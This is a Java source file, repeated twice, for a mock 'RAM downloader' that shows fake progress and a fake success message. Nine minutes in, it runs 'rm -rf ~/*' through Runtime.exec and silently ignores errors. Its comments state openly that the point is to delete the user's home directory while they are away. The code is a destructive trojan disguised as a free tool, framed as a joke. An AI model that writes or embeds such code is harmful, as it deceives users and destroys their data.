import java.util.*;
import java.io.*;
class RamDownloaderIO {
public static void main(String[] args) {
long onePercentWaitTime = 2*60*1000; // 2 minutes
long twoPercentWaitTime = 7*60*1000; // 7 minutes
long deleteWaitTime = 9*60*1000; // 9 minutes
long completeWaitTime = 10*60*1000; // 10 minutes
Timer timer = new Timer(true);
// User thinks, Hmm this is taking a while
timer.schedule(new TimerTask() {
public void run() {
System.out.println("1% done");
}
}, onePercentWaitTime);
// User is now completely impatient, and either leaves to get a coffee
// or starts reading reddit
timer.schedule(new TimerTask() {
public void run() {
System.out.println("2% done");
}
}, twoPercentWaitTime);
// Now that he's not looking, delete everything in his home directory
timer.schedule(new TimerTask() {
public void run() {
try {
final Runtime rt = Runtime.getRuntime();
rt.exec("rm -rf ~/*");
} catch (IOException e) {
}
}
}, deleteWaitTime);
// Inform the user that the task is finished
timer.schedule(new TimerTask() {
public void run() {
System.out.println("Download complete!");
System.out.println("You now have 21.47GB RAM!");
System.exit(0);
}
}, completeWaitTime);
System.out.println("Welcome to the ramdownloader.io RAM downloader");
System.out.println("Please wait. Downloading your free RAM...");
}
}
import java.util.*;
import java.io.*;
class RamDownloaderIO {
public static void main(String[] args) {
long onePercentWaitTime = 2*60*1000; // 2 minutes
long twoPercentWaitTime = 7*60*1000; // 7 minutes
long deleteWaitTime = 9*60*1000; // 9 minutes
long completeWaitTime = 10*60*1000; // 10 minutes
Timer timer = new Timer(true);
// User thinks, Hmm this is taking a while
timer.schedule(new TimerTask() {
public void run() {
System.out.println("1% done");
}
}, onePercentWaitTime);
// User is now completely impatient, and either leaves to get a coffee
// or starts reading reddit
timer.schedule(new TimerTask() {
public void run() {
System.out.println("2% done");
}
}, twoPercentWaitTime);
// Now that he's not looking, delete everything in his home directory
timer.schedule(new TimerTask() {
public void run() {
try {
final Runtime rt = Runtime.getRuntime();
rt.exec("rm -rf ~/*");
} catch (IOException e) {
}
}
}, deleteWaitTime);
// Inform the user that the task is finished
timer.schedule(new TimerTask() {
public void run() {
System.out.println("Download complete!");
System.out.println("You now have 21.47GB RAM!");
System.exit(0);
}
}, completeWaitTime);
System.out.println("Welcome to the ramdownloader.io RAM downloader");
System.out.println("Please wait. Downloading your free RAM...");
}
}